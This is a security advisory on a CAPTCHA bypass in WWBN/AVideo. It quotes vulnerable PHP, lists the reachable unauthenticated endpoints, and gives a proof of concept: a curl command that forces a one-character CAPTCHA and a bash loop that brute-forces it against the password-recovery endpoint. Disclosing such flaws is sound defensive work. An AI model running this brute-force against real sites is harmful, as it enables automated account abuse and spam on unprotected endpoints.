CAPTCHA Bypass in WWBN/AVideo via Attacker-Controlled Length Parameter and Missing Token Invalidation on Failure
Summary
objects/getCaptcha.php accepts the CAPTCHA length (ql) directly from the query string with no clamping or sanitization, letting any unauthenticated client force the server to generate a 1-character CAPTCHA word. Combined with a case-insensitive strcasecmp comparison over a ~33-character alphabet and the fact that failed validations do NOT consume the stored session token, an attacker can trivially brute-force the CAPTCHA on any endpoint that relies on Captcha::validation() (user registration, password recovery, contact form, etc.) in at most ~33 requests per session.
Details
Three cooperating flaws in objects/getCaptcha.php and objects/captcha.php reduce CAPTCHA protection to a deterministic bypass.
1. External control of CAPTCHA strength (objects/getCaptcha.php:7)
```php
$largura = empty($_GET['l']) ? 120 : $_GET['l'];
$altura = empty($_GET['a']) ? 40 : $_GET['a'];
$tamanho_fonte = empty($_GET['tf']) ? 18 : $_GET['tf'];
$quantidade_letras = empty($_GET['ql']) ? 5 : $_GET['ql']; // attacker-controlled
$capcha = new Captcha($largura, $altura, $tamanho_fonte, $quantidade_letras);
$capcha->getCaptchaImage();
```
There is no minimum, no type-check, and no clamping. Requesting /objects/getCaptcha.php?ql=1 causes the server to generate a single-character word and save it to the attacker's own PHP session.
2. Small alphabet stored in the session (objects/captcha.php:33-39)
```php
$letters = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnPpQqRrSsTtUuVvYyXxWwZz23456789';
$palavra = substr(str_shuffle($letters), 0, ($this->quantidade_letras));
if (User::isAdmin() && empty($_REQUEST['forceCaptcha'])) {
$palavra = "admin";
}
_session_start();
$_SESSION["palavra"] = $palavra;
```
After case-folding the alphabet is 25 letters (A–Z minus O) plus digits 2-9, i.e. 33 unique values. For an unauthenticated attacker the admin branch at line 35 is unreachable, so the value is purely random over that 33-symbol set.
3. Weak comparison and token NOT invalidated on failure (objects/captcha.php:58-75)
```php
public static function validation($word)
{
if (User::isAdmin() && $_SESSION["palavra"] === 'admin') {
return true;
}
_session_start();
if (empty($_SESSION["palavra"])) {
_error_log("Captcha validation Error: you type ({$word}) and session is empty ...");
return false;
}
$validation = (strcasecmp($word, $_SESSION["palavra"]) == 0);
if (!$validation) {
_error_log("Captcha validation Error: you type ({$word}) and session is ({$_SESSION["palavra"]}) ...");
} else {
unset($_SESSION["palavra"]); // Consume the captcha token to prevent reuse
}
return $validation;
}
```
Two problems here:
strcasecmp is case-insensitive, collapsing the alphabet to ~33 distinct values.unset($_SESSION["palavra"]) only runs in the success branch. Every failed guess leaves the stored word intact, so the same session can be retried against the same stored answer until it matches.
Reachability
Captcha::validation() is invoked from unauthenticated entry points including:
objects/userCreate.json.php:38 — user registration (Captcha::validation($_POST['captcha']))objects/userRecoverPass.php:31 — password recoveryobjects/sendEmail.json.php:10 — public contact emailplugin/API/API.php:4243 and :5684 — public API endpointsplugin/CustomizeUser/donate.json.php:62, confirmDeleteUser.json.php:15plugin/YPTWallet/view/transferFunds.json.php:25
None of these require authentication for the CAPTCHA check to matter — they rely on it exactly because they're exposed to anonymous or lightly-authenticated callers.
PoC
Attacker flow against an unauthenticated signup/recovery endpoint:
Step 1 — Weaken the CAPTCHA to one character and install it in the attacker's own PHP session:
```
curl -c jar -s 'https://target/objects/getCaptcha.php?ql=1' -o /dev/null
```
Step 2 — Brute-force the single-character answer. Because failed attempts do NOT reset $_SESSION["palavra"], the same cookie jar is reused and the same stored value is checked against each guess:
```
for c in a b c d e f g h i j k l m n p q r s t u v w x y z 2 3 4 5 6 7 8 9; do
code=$(curl -b jar -s -o /tmp/r -w '%{http_code}' -X POST \
'https://target/objects/userRecoverPass.php' \
--data-urlencode 'user=victim' \
--data-urlencode 'recoverpass=1' \
--data-urlencode "captcha=$c")
if ! grep -q 'Your code is not valid' /tmp/r; then
echo "HIT with captcha=$c"; break
fi
done
```
- Worst case: 33 POSTs per session to pass the CAPTCHA once.
- With
ql=2 the keyspace is ~1089 — still trivial and more robust against any edge cases involving empty() on a single-digit word. - The same technique works against
userCreate.json.php, sendEmail.json.php, and every other `Captcha::valid
